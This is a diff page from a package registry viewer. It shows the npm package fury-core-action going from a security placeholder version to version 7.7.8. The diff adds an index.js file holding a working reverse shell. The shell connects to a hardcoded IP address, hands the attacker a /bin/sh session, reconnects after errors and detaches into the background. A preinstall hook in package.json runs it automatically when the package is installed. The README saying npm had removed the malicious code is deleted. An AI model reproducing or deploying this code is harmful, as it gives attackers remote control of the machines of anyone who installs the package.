fury-core-action 0.0.1-security → 7.7.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of fury-core-action might be problematic. Click here for more details.
- package/index.js +62 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,62 @@
|
|
1
|
+
const net = require("net");
|
2
|
+
const { spawn } = require("child_process");
|
3
|
+
|
4
|
+
const HOST = "134.209.149.207"; // Replace with the attacker's IP
|
5
|
+
const PORT = 4444; // Match this with the listener port
|
6
|
+
|
7
|
+
function startReverseShell() {
|
8
|
+
const client = new net.Socket();
|
9
|
+
|
10
|
+
client.connect(PORT, HOST, () => {
|
11
|
+
console.log("Connected to attacker at " + HOST + ":" + PORT);
|
12
|
+
|
13
|
+
// Spawn a shell
|
14
|
+
const shell = spawn("/bin/sh", []);
|
15
|
+
|
16
|
+
// Forward data from client to shell input
|
17
|
+
client.on("data", (data) => {
|
18
|
+
shell.stdin.write(data); // Write attacker input to shell
|
19
|
+
});
|
20
|
+
|
21
|
+
// Forward data from shell output to client
|
22
|
+
shell.stdout.on("data", (data) => {
|
23
|
+
client.write(data); // Write shell output to attacker
|
24
|
+
});
|
25
|
+
|
26
|
+
// Forward shell errors to client
|
27
|
+
shell.stderr.on("data", (data) => {
|
28
|
+
client.write(data); // Write shell error output to attacker
|
29
|
+
});
|
30
|
+
|
31
|
+
// Handle shell exit
|
32
|
+
shell.on("close", () => {
|
33
|
+
console.log("Shell closed. Disconnecting...");
|
34
|
+
client.end();
|
35
|
+
});
|
36
|
+
});
|
37
|
+
|
38
|
+
// Reconnect logic in case of errors or disconnections
|
39
|
+
client.on("error", (err) => {
|
40
|
+
console.error("Connection error:", err.message);
|
41
|
+
setTimeout(startReverseShell, 5000); // Retry after 5 seconds
|
42
|
+
});
|
43
|
+
|
44
|
+
client.on("close", () => {
|
45
|
+
console.log("Connection closed. Retrying...");
|
46
|
+
setTimeout(startReverseShell, 5000); // Retry after 5 seconds
|
47
|
+
});
|
48
|
+
}
|
49
|
+
|
50
|
+
// Automatically detach into background mode
|
51
|
+
if (process.argv.includes("--background")) {
|
52
|
+
startReverseShell();
|
53
|
+
} else {
|
54
|
+
const { spawn } = require("child_process");
|
55
|
+
const detachedProcess = spawn("node", [__filename, "--background"], {
|
56
|
+
detached: true,
|
57
|
+
stdio: "ignore",
|
58
|
+
});
|
59
|
+
|
60
|
+
detachedProcess.unref();
|
61
|
+
console.log("Process complete. Reverse shell running in the background.");
|
62
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "fury-core-action",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "7.7.8",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"description": ""
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=fury-core-action for more information.
|